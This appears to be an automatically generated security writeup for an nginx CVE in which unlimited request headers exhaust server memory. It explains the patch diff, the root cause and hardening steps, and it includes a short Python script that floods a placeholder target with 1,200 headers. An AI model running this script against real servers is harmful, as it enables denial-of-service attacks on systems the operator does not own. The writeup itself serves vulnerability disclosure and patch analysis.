ANALYSIS · 9a5f1706· FINISHED 2026-06-06 · PATCHDIFF

nginxrelease-1.29.7 → release-1.29.8✓ COMPLETED

Files10

Vulnerable7

True positives6

CVE matched3

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2026-49975

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 10 CVE 3 Vuln 7

SORT

3 files · page 1/1

src/http/ngx_http_core_module.c

Not sure

CVE-2026-49975 1 TP

#%!d(float64=005)

src/http/ngx_http_request.c

AI: 1 vulnerabilities

CVE-2026-49975 1 TP

#%!d(float64=006)

src/http/v2/ngx_http_v2.c

AI: 1 vulnerabilities

CVE-2026-49975 1 TP

#%!d(float64=008)

1–3 of 3

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2026-49975

Security writeup for CVE-2026-49975

✓ 3 FILES

## The Exploit

Unauthenticated remote attacker can force nginx to accept an unbounded number of request headers and exhaust memory.

```bash
python3 - <<'PY'
import socket

host = "TARGET"
port = 80

s = socket.create_connection((host, port), timeout=10)
headers = "\r\n".join(f"X-Header-{i}: value{i}" for i in range(1200))
req = f"GET / HTTP/1.1\r\nHost: {host}\r\n{headers}\r\n\r\n"

s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
s.close()
PY
```

This attack sends 1,200 header lines in one request. On a vulnerable nginx build the connection is accepted and the request continues to be processed; on patched builds it is rejected after 1,000 lines with `431 Request Header Fields Too Large`.

## What the Patch Did

Before:
```c
            /* a header line has been parsed successfully */
            h = ngx_list_push(&r->headers_in.headers);
            if (h == NULL) {
                ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
            }
```

After:
```c
            /* a header line has been parsed successfully */
            if (r->headers_in.count++ >= cscf->max_headers) {
                r->lingering_close = 1;
                ngx_log_error(NGX_LOG_INFO, c->log, 0,
                              "client sent too many header lines");
                ngx_http_finalize_request(r,
                                          NGX_HTTP_REQUEST_HEADER_TOO_LARGE);
                break;
            }
            h = ngx_list_push(&r->headers_in.headers);
            if (h == NULL) {
                ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
            }
```

The patch adds a new `max_headers` configuration parameter in `src/http/ngx_http_core_module.c`, initializes it with `NGX_CONF_UNSET_UINT`, and merges it as `1000` by default. It then enforces that limit in both the HTTP/1 request parser and the HTTP/2 header handling path before pushing a parsed header into `r->headers_in.headers`.

## Root Cause

This is an uncontrolled resource consumption bug (CWE-400). Nginx parsed each incoming request header line and appended it into `r->headers_in.headers` without any cap on the total number of headers. The attacker-controlled data is the number of header lines in the request; it enters through the network parser and reaches the sink when the request parser calls `ngx_list_push()` for every header. Because there was no limit in `ngx_http_request.c` or `src/http/v2/ngx_http_v2.c`, a client could send an arbitrary header count and force nginx to allocate unbounded memory or hit per-request resource exhaustion.

## Why It Works

The single load-bearing change is the runtime limit check:

```c
if (r->headers_in.count++ >= cscf->max_headers)
```

Without that line, every header line would still be accepted and appended, so the vulnerability remains exploitable. The surrounding patch lines set up the new control: `max_headers` is declared, initialized, and merged with a safe default of 1000, while the `ngx_http_finalize_request(...NGX_HTTP_REQUEST_HEADER_TOO_LARGE)` branch provides clean rejection once the limit is exceeded. The counter increment and comparison are the actual defence; the rest is configuration plumbing and logging.

## Hardening Checklist

- enforce a maximum header count in the request parser, not just maximum header size; use a dedicated counter like `r->headers_in.count`.
- reject requests early with an appropriate HTTP error (`NGX_HTTP_REQUEST_HEADER_TOO_LARGE`) once the limit is reached.
- make limits configurable via a directive such as `max_headers`, and initialize them with `NGX_CONF_UNSET_UINT` / `ngx_conf_merge_uint_value`.
- apply the same header-count enforcement to both HTTP/1 and HTTP/2 code paths.
- do not rely solely on `ngx_list_push()` failure for exhaustion protection; add explicit pre-allocation limits.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2026-49975

CVE CVE-2026-49975

PRODUCT nginx

AFFECTED ≤ release-1.29.7

FIXED IN release-1.29.8

STATUS Generated

Security writeup · CVE-2026-49975

Source files · 3

src/http/ngx_http_core_module.c Linked

src/http/ngx_http_request.c Linked

src/http/v2/ngx_http_v2.c Linked

↗ NVD